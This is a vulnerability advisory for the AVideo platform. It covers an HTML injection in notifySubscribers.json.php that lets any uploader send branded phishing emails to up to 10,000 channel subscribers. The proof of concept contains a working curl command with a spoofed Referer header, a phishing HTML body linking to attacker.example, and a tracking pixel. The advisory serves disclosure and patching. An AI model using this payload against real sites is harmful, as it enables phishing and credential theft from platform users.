wwbn/avideo
Affected
- introduced
0, last affected29.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-43876
AVideo: HTML Injection in notifySubscribers.json.php Allows Platform-Branded Phishing Emails to Channel Subscribers
Summary
objects/notifySubscribers.json.php takes the raw message POST parameter and passes it into sendSiteEmail(), which substitutes it directly into an HTML email template (via str_replace on the {message} placeholder) and renders it with PHPMailer::msgHTML(). There is no HTML sanitization, character escaping, or output encoding on the attacker-controlled message between $_POST['message'] and the rendered email. Any authenticated user with upload permission can therefore broadcast arbitrary HTML — phishing links, tracking pixels, CSS/UI spoofing — to every subscriber on their channel (up to 10,000 recipients per invocation). The email is sent From: the platform's configured contact address and wrapped in the site's official logo and title, so attacker-supplied HTML arrives with the appearance of an official platform communication.
Details
File: objects/notifySubscribers.json.php
10: if (!User::canUpload()) {
11: forbiddenPage('You can not notify');
12: }
13: forbidIfIsUntrustedRequest('notifySubscribers');
14: $user_id = User::getId();
15: // if admin bring all subscribers
16: if (User::isAdmin()) {
17: $user_id = '';
18: }
19:
20: require_once 'subscribe.php';
21: setRowCount(10000);
...
23: $Subscribes = Subscribe::getAllSubscribes($user_id);
...
34: $subject = 'Message From Site ' . $config->getWebSiteTitle();
35: $message = $_POST['message'];
36:
37: $resp = sendSiteEmail($to, $subject, $message);
Controls present at the entry point:
User::canUpload() — gates access to any account that can upload (a baseline authenticated uploader role; in typical AVideo configurations where authCanUploadVideos is enabled, this is any logged-in user with a verified email).forbidIfIsUntrustedRequest('notifySubscribers') — in objects/functionsSecurity.php:138-165, this delegates to isUntrustedRequest() which only validates same-origin via requestComesFromSameDomainAsMyAVideo() (objects/functionsAVideo.php:199-206), i.e. a Referer/Origin header check. It is not a CSRF token. An attacker acting on their own authenticated browser session trivially satisfies the Referer check.There is no CAPTCHA, no rate limit, no per-recipient quota, and no unsubscribe link. setRowCount(10000) allows up to 10,000 subscriber rows to be pulled and mailed in a single request. For admin callers (User::isAdmin() → $user_id = ''), Subscribe::getAllSubscribes('') returns the entire subscriber set for the platform rather than the caller's channel.
File: objects/functionsMail.php
59: function sendSiteEmail($to, $subject, $message, $fromEmail = '', $fromName = '')
60: {
...
78: $subject = UTF8encode($subject);
79: $message = UTF8encode($message); // UTF-8 normalization, no HTML handling
80: $message = createEmailMessageFromTemplate($message);
...
119: $mail = new \PHPMailer\PHPMailer\PHPMailer();
120: setSiteSendMessage($mail);
...
125: $systemEmail = $config->getContactEmail();
126: $systemName = $config->getWebSiteTitle();
...
136: $mail->setFrom($systemEmail, !empty($fromName) ? $fromName : $systemName);
...
143: $mail->msgHTML($message); // renders as HTML
...
162: $resp = $mail->send();
266: function createEmailMessageFromTemplate($message)
267: {
268: if (preg_match("/html>/i", $message)) {
269: return $message; // attacker-supplied full-HTML is returned verbatim
270: }
...
274: $text = file_get_contents("{$global['systemRootPath']}view/include/emailTemplate.html");
...
279: $words = [$logo, $message, $siteTitle];
280: $replace = ['{logo}', '{message}', '{siteTitle}'];
281:
282: return str_replace($replace, $words, $text); // raw substitution into HTML template
283: }
Execution flow from attacker input to sink:
$_POST['message'] → objects/notifySubscribers.json.php:35 (raw, no validation).sendSiteEmail($to, $subject, $message) at objects/notifySubscribers.json.php:37.UTF8encode($message) at objects/functionsMail.php:79 (encoding only; does not strip or escape HTML).createEmailMessageFromTemplate($message) at objects/functionsMail.php:80 → str_replace('{message}', $message, $text) at objects/functionsMail.php:282, substituting attacker HTML directly into the {message} placeholder in view/include/emailTemplate.html.$mail->msgHTML($message) at objects/functionsMail.php:143. PHPMailer renders the combined template (containing the attacker's unsanitized HTML) as an HTML email.From: header is $config->getContactEmail() / $config->getWebSiteTitle() (objects/functionsMail.php:125-136). The template contains the platform's logo via getURL($config->getLogo()). The result is an attacker-controlled HTML body delivered from the platform's trusted sender address, officially branded.Note that the preg_match("/html>/i", $message) at line 268 actively *helps* the attacker: any payload containing <html> short-circuits template substitution and is sent as-is, allowing the attacker to control the full email body including DOCTYPE, head, and body.
PoC
authCanUploadVideos is enabled, any registered and email-verified user qualifies). An admin account broadens the recipient set to the entire platform rather than just the attacker's own subscribers.Subscribe::getAllSubscribes($user_id)), or use an admin account to target all platform subscribers.Referer header must match the platform origin to pass forbidIfIsUntrustedRequest (trivial when running from the attacker's own authenticated browser):curl -b 'PHPSESSID=<uploader_session>' -X POST \
-H 'Referer: https://target.example/' \
'https://target.example/objects/notifySubscribers.json.php' \
--data-urlencode 'message=<h1 style="color:#c00">Action Required: Verify Your Account</h1>
<p>Dear Subscriber,</p>
<p>We detected unusual activity on your account. Please
<a href="https://attacker.example/phish">click here to verify your identity within 24 hours</a>
or your account will be suspended.</p>
<p>Thank you,<br>The Support Team</p>
<img src="https://attacker.example/track.png" width="1" height="1">'
{"error": false, "msg": ""}
From: <[email protected]> (the platform's configured contact email — not the attacker's address).Subject: Message From Site <SiteTitle> - <SiteTitle> (built at objects/notifySubscribers.json.php:34 + objects/functionsMail.php:138-141).view/include/emailTemplate.html template with the platform's real logo substituted at {logo} and the attacker's unsanitized HTML substituted at {message}, including the phishing anchor and tracking pixel.Medium Basis: The source's own band: MODERATE
0, last affected 29.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0